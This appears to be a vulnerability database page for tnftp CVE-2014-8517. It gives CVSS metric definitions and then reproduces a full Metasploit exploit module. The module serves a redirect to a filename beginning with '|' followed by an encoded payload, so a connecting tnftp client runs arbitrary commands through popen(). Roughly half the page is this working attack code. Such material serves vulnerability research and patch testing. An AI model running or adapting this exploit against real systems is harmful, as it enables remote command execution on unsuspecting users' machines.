The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: tnftp "savefile" Arbitrary Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'tnftp "savefile" Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
tnftp's handling of the resolved output filename - called "savefile" in
the source - from a requested resource.
If tnftp is executed without the -o command-line option, it will resolve
the output filename from the last component of the requested resource.
If the output filename begins with a "|" character, tnftp will pass the
fetched resource's output to the command directly following the "|"
character through the use of the popen() function.
},
'Author' => [
'Jared McNeill', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2014-8517'],
['URL', 'http://seclists.org/oss-sec/2014/q4/459']
],
'DisclosureDate' => 'Oct 28 2014',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {'BadChars' => '/'},
'Targets' => [['ftp(1)', {}]],
'DefaultTarget' => 0
))
end
def on_request_uri(cli, request)
unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
print_status("#{request['User-Agent']} connected")
send_not_found(cli)
return
end
if request.uri.ends_with?(sploit)
send_response(cli, '')
print_good("Executing `#{payload.encoded}'!")
report_vuln(
:host => cli.peerhost,
:name => self.name,
:refs => self.references,
:info => request['User-Agent']
)
else
print_status("#{request['User-Agent']} connected")
print_status('Redirecting to exploit...')
send_redirect(cli, sploit_uri)
end
end
def sploit_uri
(get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
Rex::Text.uri_encode(sploit, 'hex-all')
end
def sploit
"|#{payload.encoded}"
end
end
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